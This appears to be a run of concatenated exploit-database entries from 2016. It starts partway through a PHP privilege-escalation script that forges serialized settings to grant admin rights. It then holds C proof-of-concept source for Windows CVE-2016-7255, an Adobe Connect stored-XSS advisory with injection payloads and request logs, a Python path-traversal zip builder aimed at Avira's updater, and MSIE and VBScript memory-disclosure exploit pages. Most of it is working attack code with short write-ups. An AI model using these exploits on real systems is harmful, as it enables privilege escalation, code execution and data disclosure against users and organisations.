curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' => $login, 'userpass' => $pass, 'userlogin' => 'Sign In')));
curl_setopt($ch, CURLOPT_POST, 1);
$content = curl_exec($ch);
if (strpos($content, '?logout') === false) {
die("Cannot login");
}
$data = array();
$data['user_admin'] = 1;
$data['user_perms'] = 0;
$data['user_password'] = md5($pass);
curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' => base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)), 'currentpassword' => $pass)));
$content = curl_exec($ch);
if (strpos($content, 'Settings updated') === false) {
die("Exploit probably failed");
}
die('OK!');
}
$url = "http://url_here";
// Standard user credentials
$user = "login_here";
$pass = "password_here";
$cookie = "/cookie.txt";
hack($url, $user, $pass, $cookie);
/*
Source: https://github.com/tinysec/public/tree/master/CVE-2016-7255
Full Proof of Concept:
https://github.com/tinysec/public/tree/master/CVE-2016-7255
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40745.zip
********************************************************************
Created: 2016-11-09 14:23:09
Filename: main.c
Author: root[at]TinySec.net
Version 0.0.0.1
Purpose: poc of cve-2016-0075
*********************************************************************
*/
#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>
//////////////////////////////////////////////////////////////////////////
#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")
#undef DbgPrint
ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCCH Format, IN ... );
ULONG __cdecl DbgPrint(__in char* Format, ...)
{
CHAR* pszDbgBuff = NULL;
va_list VaList=NULL;
ULONG ulRet = 0;
do
{
pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0 ,1024 * sizeof(CHAR));
if (NULL == pszDbgBuff)
{
break;
}
RtlZeroMemory(pszDbgBuff,1024 * sizeof(CHAR));
va_start(VaList,Format);
_vsnprintf((CHAR*)pszDbgBuff,1024 - 1,Format,VaList);
DbgPrintEx(77 , 0 , pszDbgBuff );
OutputDebugStringA(pszDbgBuff);
va_end(VaList);
} while (FALSE);
if (NULL != pszDbgBuff)
{
HeapFree( GetProcessHeap(), 0 , pszDbgBuff );
pszDbgBuff = NULL;
}
return ulRet;
}
int _sim_key_down(WORD wKey)
{
INPUT stInput = {0};
do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = 0;
SendInput(1 , &stInput , sizeof(stInput) );
} while (FALSE);
return 0;
}
int _sim_key_up(WORD wKey)
{
INPUT stInput = {0};
do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1 , &stInput , sizeof(stInput) );
} while (FALSE);
return 0;
}
int _sim_alt_shift_esc()
{
int i = 0;
do
{
_sim_key_down( VK_MENU );
_sim_key_down( VK_SHIFT );
_sim_key_down( VK_ESCAPE);
_sim_key_up( VK_ESCAPE);
_sim_key_down( VK_ESCAPE);
_sim_key_up( VK_ESCAPE);
_sim_key_up( VK_MENU );
_sim_key_up( VK_SHIFT );
} while (FALSE);
return 0;
}
int _sim_alt_shift_tab(int nCount)
{
int i = 0;
HWND hWnd = NULL;
int nFinalRet = -1;
do
{
_sim_key_down( VK_MENU );
_sim_key_down( VK_SHIFT );
for ( i = 0; i < nCount ; i++)
{
_sim_key_down( VK_TAB);
_sim_key_up( VK_TAB);
Sleep(1000);
}
_sim_key_up( VK_MENU );
_sim_key_up( VK_SHIFT );
} while (FALSE);
return nFinalRet;
}
int or_address_value_4(__in void* pAddress)
{
WNDCLASSEXW stWC = {0};
HWND hWndParent = NULL;
HWND hWndChild = NULL;
WCHAR* pszClassName = L"cve-2016-7255";
WCHAR* pszTitleName = L"cve-2016-7255";
void* pId = NULL;
MSG stMsg = {0};
do
{
stWC.cbSize = sizeof(stWC);
stWC.lpfnWndProc = DefWindowProcW;
stWC.lpszClassName = pszClassName;
if ( 0 == RegisterClassExW(&stWC) )
{
break;
}
hWndParent = CreateWindowExW(
0,
pszClassName,
NULL,
WS_OVERLAPPEDWINDOW|WS_VISIBLE,
0,
0,
360,
360,
NULL,
NULL,
GetModuleHandleW(NULL),
NULL
);
if (NULL == hWndParent)
{
break;
}
hWndChild = CreateWindowExW(
0,
pszClassName,
pszTitleName,
WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
0,
0,
160,
160,
hWndParent,
NULL,
GetModuleHandleW(NULL),
NULL
);
if (NULL == hWndChild)
{
break;
}
#ifdef _WIN64
pId = ( (UCHAR*)pAddress - 0x28 );
#else
pId = ( (UCHAR*)pAddress - 0x14);
#endif // #ifdef _WIN64
SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId );
DbgPrint("hWndChild = 0x%p\n" , hWndChild);
DebugBreak();
ShowWindow(hWndParent , SW_SHOWNORMAL);
SetParent(hWndChild , GetDesktopWindow() );
SetForegroundWindow(hWndChild);
_sim_alt_shift_tab(4);
SwitchToThisWindow(hWndChild , TRUE);
_sim_alt_shift_esc();
while( GetMessage(&stMsg , NULL , 0 , 0) )
{
TranslateMessage(&stMsg);
DispatchMessage(&stMsg);
}
} while (FALSE);
if ( NULL != hWndParent )
{
DestroyWindow(hWndParent);
hWndParent = NULL;
}
if ( NULL != hWndChild )
{
DestroyWindow(hWndChild);
hWndChild = NULL;
}
UnregisterClassW(pszClassName , GetModuleHandleW(NULL) );
return 0;
}
int __cdecl wmain(int nArgc, WCHAR** Argv)
{
do
{
or_address_value_4( (void*)0xFFFFFFFF );
} while (FALSE);
return 0;
}
Document Title:
===============
Adobe Connect & Desktop v9.5.7 - Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1838
Security ID: PSIRT-5180
Bulletin: https://helpx.adobe.com/security/products/connect/apsb16-35.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7851
Public News Article: http://www.securityweek.com/adobe-patches-9-flash-player-flaws-reported-zdi
CVE-ID:
=======
CVE-2016-7851
Release Date:
=============
2016-11-09
Vulnerability Laboratory ID (VL-ID):
====================================
1838
Common Vulnerability Scoring System:
====================================
3.7
Product & Service Introduction:
===============================
Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience,
chances are that it was touched by Adobe technology. Our tools and services enable our customers to create
groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it
based on user data. By providing complete solutions that combine digital media creation with data-driven marketing,
we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success.
(Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/)
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side vulnerability in the Adobe Connect online web-application and v9.5.6 windows software.
Vulnerability Disclosure Timeline:
==================================
2016-04-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-04-28: Vendor Notification (PSIRT Adobe Security Team)
2016-04-29: Vendor Response/Feedback (PSIRT Adobe Security Team)
2016-10-20: Vendor Fix/Patch (Adobe Service Developer Team)
2016-11-08: Security Acknowledgements (Adobe Security Team)
2016-11-09: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Adobe Systems
Product: Adobe Connect - Online Service (Web-Application) 2016 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An application-side input validation and xss vulnerability has been discovered in the Adobe Connect online web-application and v9.5.6 windows software.
The input validation and filter issue allows remote attackers to inject own malicious script codes to the server-side of the vulnerable modules context.
The vulnerability is located in the `firstname`,`lastname` and `companyname` parameter of the `event_registration.html` file submit POST method request.
Remote attackers are able to inject own malicious script codes in the vulnerable parameters POST method request to manipulate the adobe connect events
service emails for the webinar registration module. The email body does not encode the input values and the registration is not restricted on inputs as
well, which results in the application-side script code execution. Attackers are also able to followup the webinar links with the injected credentials
which may be result in a second persistent script code execution as well. The injection point is the registration input form of the webinar in adobe
connect and the execution point occurs in the email body context of the admin@adobeconnect.com email address.
The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources
and persistent manipulation of affected or connected service module context.
Request Method(s): Inject
[+] POST
Vulnerable Module(s):
[+] Events - Webinar Registration Form
Vulnerable File(s):
[+] event_registration.html
Vulnerable Parameter(s):
[+] firstname
[+] lastname
[+] companyname
Affected Module(s):
[+] (admin@adobeconnect.com)
Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open your mailbox and click to the portals webinar email for administrators
2. Surf to the signup registration of adobe connect next to the events reck
3. Inject to the firstname, lastname and companyname your own script code payload
4. Submit the POST request to get activated for the webinar to hackerone via adobe connect
5. Check the local input of the registered account
6. The script code payloads of the name values are replied by the email service without secure encode
Note: The execution of the payloads occurs directly after the arrival and view
7. Now choose in the email the link to the webinar that is connected to the name values
8. Join the channel and write a message for interaction
9. The code executes in several sections of the webinar adobe connect events service with persistent vector
10. Successful reproduce of the both application-side vulnerabilities in adobe via hackerone!
PoC: event_registration.html
<div style="font-size: 12pt;color: #1d1d1d;font-family: Tahoma;font-style: normal;background-color: #FFFFFF;">
<p>>"<[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]></p>
<p>We are pleased to confirm your registration for The Art and Science of Bug Bounty Triage - April 28, 2016. We look forward to your participation in the event.</p>
</div>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://events-na1.adobeconnect.com/content/connect/connect-action?sco-id=2159915051
Mime Type[text/html]
Request Header:
Host[events-na1.adobeconnect.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate, br]
Referer[https://events-na1.adobeconnect.com/content/connect/c1/2152090704/en/events/event/shared/2159889590/event_registration.html?sco-id=2159915051&campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2&_charset_=utf-8]
Cookie[2159915051_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; connectevent_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; BREEZESESSION=na1breezpuz9xczd47kqnkqt; time-zone=Europe%2FBerlin; s_cc=true; s_sq=acnapvtpyd8zd0ka1b3qdt5jp4i76%3D%2526pid%253Dhttps%25253A%25252F%25252Fevents-na1.adobeconnect.com%25252Fcontent%25252Fconnect%25252Fc1%25252F2152090704%25252Fen%25252Fevents%25252Fevent%25252Fshared%25252F2159889590%25252Fevent_registration.html%25253Fsco-id%25253D2159915051%252526campaign-id%25253DDG-EM-Art%25252520of%25252520Triage-2Q2016-2%252526_charset_%25253Dutf-8%2526oid%253Dfunctiononclick(event)%25257BregFormSubmit()%25253B%25257D%2526oidt%253D2%2526ot%253DA]
Connection[keep-alive]
POST-Daten:
2159915054[Yes]
2159915055[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
2159915056[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
2159915057[adasfaf+asfasdfasfasfasdfsdfs]
login[bkm%40evolution-sec.com]
first-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
last-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
campaign-id[DG-EM-Art%2520of%2520Triage-2Q2016-2]
sco-id[2159915051]
reg-form-back[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html]
reg-form-success[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.result.html]
action[event-register]
_charset_[UTF-8]
login-uri[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.login.html%3Flogin-ok%3D%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html%26sco-id%3D2159915051]
set-lang[en]
reg-confirm-page[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fregistration_confirm.html]
Response Header:
Connection[Keep-Alive]
Server[Day-Servlet-Engine/4.1.24]
Content-Type[text/html;charset=UTF-8]
Date[Wed, 27 Apr 2016 08:56:07 GMT]
Transfer-Encoding[chunked]
Set-Cookie[2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connectconnectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect]
Reference(s):
https://events-na1.adobeconnect.com/
https://events-na1.adobeconnect.com/content/
https://events-na1.adobeconnect.com/content/connect/
https://events-na1.adobeconnect.com/content/connect/connect-action
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname, lastname and companyname input fields in
the registration file POST method request.
Dissallow the usage of special chars and restrict the input to prevent further script code injection attacks.
Encode the email body context of the adobe connect service mails after the registration. Block script code tags or escape and encode them as well.
Please follow the instructions in the adobe security bulletin to resolve the issue - Adobe Connect 9.5.7 windows desktop version.
URL: https://helpx.adobe.com/adobe-connect/release-note/adobe-connect-9-5-7-release-notes.html
Security Risk:
==============
The security risk of the application-side vulnerability in the events webinar web-application and windows desktop software is estimated as medium. (CVSS 3.7)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
# Title : Avira Antivirus >= 15.0.21.86 Command Execution (SYSTEM)
# Date : 08/11/2016
# Author : R-73eN
# Tested on: Avira Antivirus 15.0.21.86 in Windows 7
# Vendor : https://www.avira.com/
# Disclosure Timeline:
# 2016-06-28 - Reported to Vendor through Bugcrowd.
# 2016-06-29 - Vendor Replied.
# 2016-07-05 - Vendor Replicated the vulnerability.
# 2016-09-02 - Vendor released updated version which fix the vulnerability.
# 2016-11-08 - Public Disclosure
# I would like to thank Avira security team for the quick response.
#
# Vulnerability Description:
# When the Avira Launcher manual update imports a zip file doesn't checks for " ../ "
# characters which makes it possible to do a path traversal and write anywhere in the system.
# Vulnerability Replication
# 1. Create a special crafted zip file with the python script attached.
# 2. The script will create a zip file named xvdf_fusebundle.zip with a filename test.bat (this can be changed) and will write this file to the root directory C:\
# 3. You can change the directory go to startup and when the user reboots the script will get executed or you can write a malicious dll to a program directory or
# system32 directory which will get loaded and we gain remote command execution.
# 4. Open avira free antivirus
# 5. Go to update -> Manual Update
# 6. Select the malicious file
# 7. Directory traversal was sucessfull
# Youtube Video: https://www.youtube.com/watch?v=IIEgWiDcw2Q
# POC:
#!/usr/bin/python -w
banner = ""
banner += " ___ __ ____ _ _ \n"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"
banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n"
print banner
import zipfile, sys
if(len(sys.argv) != 2):
print "[+] Usage : python exploit.py file_to_do_the_traversal [+]"
print "[+] Example: python exploit.py test.txt"
exit(0)
print "[+] Creating Zip File [+]"
zf = zipfile.ZipFile("xvdf_fusebundle.zip", "w")
zf.write(sys.argv[1], "..\\..\\..\\..\\..\\..\\..\\..\\test.bat")
zf.close()
print "[+] Created xvdf_fusebundle.zip successfully [+]"
# Fix:
# Update to the latest version.
<!--
Source: http://blog.skylined.nl/20161109001.html
Synopsis
A specially crafted web-page can cause Microsoft Internet Explorer to assume a CSS value stored as a string can only be "true" or "false". To determine which of these two values it is, the code checks if the fifth character is an 'e' or a "\0". An attacker that is able to set it to a smaller string can cause the code to read data out-of-bounds and is able to determine if a WCHAR value stored behind that string is "\0" or not.
Known affected versions, attack vectors and mitigations
MSIE 9-11 (earlier versions were not tested)
An attacker would need to get a target user to open a specially crafted webpage. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
repro.html
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<script>
// This PoC attempts to exploit a memory disclosure bug in Microsoft Internet
// Explorer 11. On x64 systems, this should cause an access violation when
// run with page-heap enabled, as the code attempts to read a byte
// immediately following a 4 byte memory block.
// See http://blog.skylined.nl/20161109001.html for details.
var o = document.documentElement;
CollectGarbage();
// Heap Feng-Shui plunger
o.setAttribute("a", "1");
o.setAttribute("b", "2");
o.setAttribute("c", "3");
o.setAttribute("d", "4");
o.setAttribute("e", "5");
o.setAttribute("f", "6");
// Allocate a string that contains 3 characters (6 bytes), for which an 8
// byte memory block is allocated:
o.setAttribute("g", "AB\u4141");
// Free the memory block.
o.removeAttribute("g");
// Reallocate the same memory block to store a 1 character string (2 bytes).
// The memory block will look like this:
// 78 00 00 00 41 41 00 00 | "x\0\u4141\0"
// ^- start --------- end -^
// Now have the code attempt to read the fifth character and access OOB data:
document.documentElement.style.setProperty("textdecorationblink", "x");
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
Description
Certain code that handles CSS properties in MSIE assumes that the property value is always a string set to either "true" or "false". To determine which of these two values it is, the code checks if the fifth character is '\0'. However, it is possible to set such values to arbitrary strings, including a smaller string. This causes the code to read beyond the end of the string and allows an attacker to determine if an WORD stored after the string is '\0'.
The vulnerable code is in MSHTML!PROPERTYDESC::HandleStyleComponentProperty. This code is heavily branched to handle various types of CSS properties. Luckily, the type being exploited is one of the first to be handled. The code appears to assume that the value is provided as a pointer to a BSTR which will always have a WCHAR at offset +8 that may be '\0' or not. If this WCHAR is not '\0', a CSS property is set to a certain value, otherwise it is set to an empty string. As long as this BSTR is always either be "true" or "false", this code works as expected. However, it is possible to provide an arbitrary value for this BSTR, which can be shorter than 4 WCHARs. This would causing the code to read a WCHAR outside of the memory used to store that BSTR.
In the repro, we used Heap Feng-Shui to put a BSTR containing 3 WCHARs in the OLEAUT32 cache. This causes MSIE to allocate 12 byte of memory to store the string: 4 bytes to store the DWORD length of the BSTR, 6 to store the characters, and 2 to store a "\0" terminator. This memory is then reused to store a 1 WCHAR string "x". When the code attempts to check if the fifth character in this his BSTR is '\0', it will attempt to read the two bytes at offset 14 (The characters are stored at offset 4, after the DWORD length, and the fifth character is at offset 10 from the first). This causes the code to read outside of the bounds of that BSTR and trigger an access violation. (On x86 systems, page heap will provide some padding at the end of the string, causing the code to read these padding bytes, so no AV happens).
Known properties of the type that leads to the vulnerable code path include textDecorationBlink, textDecorationLineThrough, textDecorationLineNone, textDecorationOverline, and textDecorationUnderline.
Exploit
The value of a CSS property is updated based on the value of the fifth WCHAR, and this CSS property can be read from Javascript to determine if this WCHAR was '\0' or not. This allows a limited form of information disclosure. During my testing, I used the textDecorationBlink property, which can be used to set the CSS text-decoration property to "blink" or an empty string.
Using Heap-Feng Shui, it may be possible to reuse memory allocated for other strings that have since been freed and determine if they had a '\0' WCHAR as their fifth character. This includes strings to should normally not be accessible to the website, such as those from a different origin. Also using Heap Feng-Shui, it may be possible to allocate some interesting object immediately following the string, in order to determine if a WORD at the start of that object is 0 or not.
The "exploit" provided below shows that it is possible to determine if the fifth WCHAR of the last freed BSTR was '\0' or not.
Time-line
Februari 2016: This vulnerability was found through fuzzing.
Februari 2016: This vulnerability was submitted to ZDI, iDefense and EIP.
March-July 2016: ZDI, iDefense and EIP all either reject the submission or fail to respond.
July 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
August 2016: Microsoft is granted an 11 day extension to the deadline to address it in September's Patch Tuesday.
September 2016: The vulnerability was address by Microsoft in MS16-104.
November 2016: Details of this issue are released.
-->
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<script>
// This PoC attempts to exploit a memory disclosure bug in Microsoft Internet
// Explorer 11. See http://blog.skylined.nl/20161109001.html for details.
var sSetPropertyName = "textdecorationblink", //textDecorationLineThrough, textDecorationLineNone, textDecorationOverline, textDecorationUnderline
sGetPropertyName = "text-decoration",
sPropertyValue = "blink";
function fbTest(sTest) {
var o = document.createElement("x");
// Cleanup, potentially fill OLEAUT32 BSTR cache
CollectGarbage();
// Empty the smallest BSTR bucket of the OLEAUT32 cache and defragement the small chunks heap.
o.setAttribute("a", "1");
o.setAttribute("b", "2");
o.setAttribute("c", "3");
o.setAttribute("d", "4");
o.setAttribute("e", "5");
o.setAttribute("f", "6");
// Add the <sTest> BSTR to the smallest bucket of the OLEAUT32 BSTR cache.
o.setAttribute("x", sTest);
o.removeAttribute("x");
// reused the <sTest> memory and overwrite the first two chars with 'x' and '\0', then read from offset +8
o.style.setProperty(sSetPropertyName, "x");
var bResult = o.style.getPropertyValue(sGetPropertyName) == sPropertyValue;
alert(JSON.stringify(sTest) + "=>" + bResult);
};
fbTest("12345"); // true
fbTest("1234\0"); // false
fbTest("1234"); // false
fbTest("123"); // (AV on x64 if page heap enabled).
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
<!--
Source: http://blog.skylined.nl/20161108001.html
Synopsis
A specially crafted script can cause the VBScript engine to read data beyond a memory block for use as a regular expression. An attacker that is able to run such a script in any application that embeds the VBScript engine may be able to disclose information stored after this memory block. This includes all versions of Microsoft Internet Explorer.
Known affected versions, attack vectors and mitigations
vbscript.dll
The issue is known to have affected versions 5.8.7600.16385 - 5.8.9600.16384, and both the 32- and 64-bit vbscript.dll binaries. It may also impact earlier versions as well as later versions as I am not sure exactly when the issue was addressed by Microsoft.
Windows Script Host
VBScript can be executed in the command line using cscript.exe/wscript.exe. An attacker would need to find a script running on a target machine that accepts an attacker supplied regular expression and a string, or be able to execute his/her own script. However, since the later should already provide an attacker with arbitrary code execution, no additional privileges are gained by exploiting this vuln.
Microsoft Internet Explorer
VBScript can be executed from a web-page; MSIE 8, 9, 10 and 11 were tested and are all affected. MSIE 11 requires a META tag to force it to render the page as an earlier version, as MSIE 11 attempts to deprecate VBScript (but fails, so why bother?). An attacker would need to get a target user to open a specially crafted web-page. Disabling scripting, particularly VBScript, should prevent an attacker from triggering the vulnerable code path. Enabling Enhanced Protected Mode appears to disable VBScript on my systems, but I have been unable to find documentation on-line that confirms this is by design.
Internet Information Server (IIS)
If Active Server Pages (ASP) are enabled, VBScript can be executed in Active Server Pages. An attacker would need to find an asp page that accepts an attacker supplied regular expression and a string, or be able to inject VBScript into an ASP page in order to trigger the vulnerability.
-->
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
<script language="VBScript">
Dim oRegExp
Set oRegExp = New RegExp
Sub RegExpSetPattern(sPattern)
oRegExp.Pattern = sPattern
End Sub
Function RegExpExecute(sData)
RegExpExecute = oRegExp.Execute(sData)
End Function
</script>
<script language="Javascript">
RegExpSetPattern("\u0504\u0706\u0908\u0B0A\u0D0C\u0F0E\u1110\u1312\u1514\u1716\u1918\u1B1A\\");
var oObject = RegExpExecute("23456789ABCD\0");
</script>
</head>
</html>
<!--
Description
When a regular expression is used to find matches in a string, it is first "compiled". During compilation, when a '\' escape character is encountered, the RegExpComp::PnodeParse function reads the next character to determine the type of escape sequence. However, if the last character in a regular expression is a '\' character, the code will read and use the terminating '\0' character as the second character in the escape sequence. This causes the code to ignore the end of the string and continue to compile whatever data is found beyond it as if it was part of the regular expression.
Exploit
The regular expressions string is stored in a BSTR, which means that the heap block in which it is stored may be larger than the regular expression. This means that if the heap block was used to store something else, then freed and reused for the regular expression, it may contain interesting information immediately following the regular expression. It also means that "heap feng-shui" can be used to control this as well as control the contents of the next heap block, which may also contain useful information.
This amount of control suggests that it may be possible to store this useful information compiled as if it was part of the regular expression. A number of functions can then be used to attempt to extract this information, such as matching to a string containing a sequence that contains all the possible values for the information: the resulting matches should reveal what information was compiled into the regular expression.
I did not implement such an attack, but here's one example of what it might look like:
Let's assume we can allocate 0x20 bytes of heap, of which the last four bytes contain a pointer into a dll and then free it.
0000 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? | ????????
0010 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? <<pointer>> | ??????ab
(In the above, "a" represents the least significant half of the address as a Unicode character and "b" the most significant half.)
Let's also assume we can allocate a heap block immediately following it in which we can control the first four bytes and set them to "]\0", or [5D 00 00 00].
0000 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? | ????????
0010 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? <<pointer>> | ??????ab
0020 5D 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? | ].??????
Finally, let's assume we can reallocate the freed heap block to store a regular expression "468ACE02|[\".
0000 18 00 00 00 34 00 36 00 38 00 3A 00 3C 00 3E 00 | ..468ACE
0010 30 00 32 00 7C 00 5B 00 5C 00 00 00 <<pointer>> | 02|[\.ab
0020 5D 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? | ].??????
When using the regular expression, it will effectively be compiled into "468ACE02|[\0ab]". Using this regular expression to find matches in a string that contains all valid Unicode characters should yield two matches: "a" and "b", in any order. You could then do the entire thing over and construct compiled regular expression that is effectively "468ACE02|(\0ab)" and matching this against the string "\0ab\0ba" to find out in which order "a" and "b" should be used to determine the value of the address.
Time-line
June 2014: This vulnerability was found through fuzzing, but I was unable to reproduce it outside of my fuzzing framework for unknown reasons.
April 2015: This vulnerability was found through fuzzing again.
April 2015: This vulnerability was submitted to ZDI.
May 2015: ZDI rejects the submission.
November 2016: The issue does not reproduce in the latest build of MSIE 11.
November 2016: Details of this issue are released.
-->